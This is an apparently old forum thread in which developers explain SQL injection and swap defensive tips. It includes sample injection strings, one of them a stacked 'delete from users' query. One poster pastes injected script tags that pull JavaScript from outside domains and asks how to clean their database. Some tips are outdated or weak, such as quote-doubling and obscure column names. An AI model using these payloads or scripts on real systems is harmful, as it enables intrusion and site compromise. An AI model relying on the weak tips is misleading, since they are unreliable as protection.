This is a very important issue to consider when you're using form/url variables in databases. A user can cleverly put in SQL statements and manipulate your db server as he sees fit if you don't take the necessary precautions. I get the feeling that there are several people that aren't aware of this when they develop their apps. I crashed a page from jumptheshark.com a while back doing this and I e-mailed them about their bug. They seemed to fix it the next day but I never got a thank you!

If expecting integer, on a script, check if it's of type int, and check if it's within boundary of integer - if it's expecting numbers from 1-20, then just make it within this boundary, if larger or less than this boundary, take necessary action.

Also check that your integers/reals that your script is expecting from the user are less/greater than than large integer/reals or whatever the max/min of the language you're using... sometimes a big or small enough number can cause the page to crash. For example, if you define something expecting an integer, and a user manually puts in 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999 it can cause unexpected results.

Strings - if its a value from a list box or pull down menu, error check for those values in the script... if anything else, take necessary action. If it's a string the user has to put in, check if the first chars are: ' or " or ; - (If the user is expected to put in a their name, a number, a name, there should be no reason why they would be putting fields/chars that are part of SQL statements. Also make sure you always replace all <>"& with their html entities.

When accepting variables from a form/url make sure you have a function that always replaces single apostrophes with double apostrophes. Consider the following:

You have a form where the user has a text box and a submit button. It asks him to enter his name. He enters the name "ALFKI" (without the apostrophes).

Let's say the script is suppose to retrieve information about that name (simple drill down). So the script receives the name and executes the following:


select *
from customers
where customerid = 'ALFKI'

(figure 1)

"ALFKI" in this case is dynamically inserted through whatever script language into the SQL statement. There's nothing wrong with this statement. Now, what if the user inserts the following?


ALFKI';select * from customers--


(figure 2)

He enters the above as you see it. With the apostrophes, semicolon, asterisk, and two dashes at the end. This statement will append another SQL statement to the previous. So now you will get a list of customers where customerid = ALFKI and another list of everyone under customers.


The first apostrophe you see in the SQL statement in figure 2 closes the statement in figure 1, and appends the extra select statement. The two dashes at the end of figure 1 are to comment out (in SQL Server) the apostrophe in figure 1's last dash. So your original SQL statement (figure 1) will now be executed as the following:


select *
from customers
where customerid = 'ALFKI';select * from customers--'


Replacing single apostrophes with double apostrophes can be beneficial in this case. Of course the person doing the injections won't know the table names, but however will get the page to crash. If the servers are not configured right, then the database interface could spit back an error with table names. This is a problem.


Here's a good article.
http://www.webmasterbase.com/article/794

You can search for more articles on Google by searching for "SQL Injection"

man of few words lately, but excellent post & awesome link - much appreciated! :o

I was going to say the same with you! LOL!

Yes, I think this post is very important. A while back someone from work deleted some of the posts I had on a forum I created in PHP. A stupid mistake I made a while back. But hey, that's how we learn... from our mistakes.

Huge/Weird Values
Regarding the 99999.... query issue, the range for each of these types is listed:

SMALLINT: -32768 to 32767. The unsigned range is 0 to 65535.
MEDIUMINT: -8388608 to 8388607. The unsigned range is 0 to 16777215.
INT: -2147483648 to 2147483647. The unsigned range is 0 to 4294967295.
BIGINT: -9223372036854775808 to 9223372036854775807. The unsigned range is 0 to 18446744073709551615.

It should be noted, that only those "naughty" individuals will attempt something like the 9X100 ... and SQL will just replace extremely large values with the maximum number for that associated type. (IE ... Mr. Jon Goober submits 9999999999999999 into a column of type int, it will store it as "2147483647").

If you do not check for is_int() or is_numeric(), and the user submit a massive string filled with both numeric and alphanumberic values, a value of "0" will be stored.

Nested Queries

This has been an on-going security issue for years. One thing to note, on current releases of php the mysql_query() function will ONLY ALLOW YOU TO RUN 1 COMMAND.

For example, if your hard coded query runs a

"select * from users where id = '1' limit 1",

and the users manages to try and nest another query by using

"select * from users where id = '1' limit 1; delete from users where id = like '%'";

the query will fail. Try it ... you'll see what i mean. Now this applies only to the mysql_query() function. If you are running ';' on the actual mysql command line interface, it will work.

If security is important to you, then possibly a few of the following steps can help keep your database protected :

#1 Allow access to only localhost clients
#2 When using incremented IDs, add an additional id_encrypt column and store a unique md5() value which can be used inplace of the standard int for all queries.
#3 Passwords should ALWAYS be encrypted. Plain Text passwords should never be used.
#4 Think pro-actively when designing your client interface. Dont allow them to run direct queries ... the ONLY instance a client should be able to run a partial query would be when using a Search Engine. Make sure you check all incoming data for "nasty" submissions. All other database interaction should be through buttons, links and presented materials. Don't give them the chance to mess around.
#5 use = in place of the like. Like should only be used for search engines.
#6 When you design your table columns, don't make them easy and standard names. ID, Name, Address are easily guessed ... client_id, user_id, customer_name, x_name, z_name etc ... if they dont know the column names, its hard to delete the information!

Hope that helps!

hii is any budy help me to remove

<script src=http://www.advabnr.com/b.js></script><script src=http://www.catdbw.mobi/ngg.js></script><script src=http://www.usaadw.com/ngg.js></script><script src=http://www.usaadw.com/ngg.js></script><script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.destbnp.com/ngg.js></script><script src=http://www.adwnetw.com/ngg.js></script><script src=http://www.ausbnr.com/ngg.js></script><script src=http://www.ncwc.ru/ngg.js></script><script src=http://www.kj5s.ru/ngg.js></script><script src=http://www.ujnc.ru/js.js></script><script src=http://www.mnbenio.ru/script.js></script>
this type of script in my database it spread in my database with each an every data so please help me what to do
?

At my previous company we also resorted to using dotdefender after we came under a serious sql injection attack. The product worked very well and we were able to get it up and running very fast. It took a few more weeks to modify the product to not block some of our own queries. The product gave us the ability to maintain our business while we totally re-designed and developed an updated version with updated security.

It also comes with decent reporting so you can track what ip's are launching the attacks and the queries they are using.

They still maintain the dotdefender for the added layer of security but the product definately saved the company alot of money and possibly the business altogether.

just my 2 cents added to Danielos.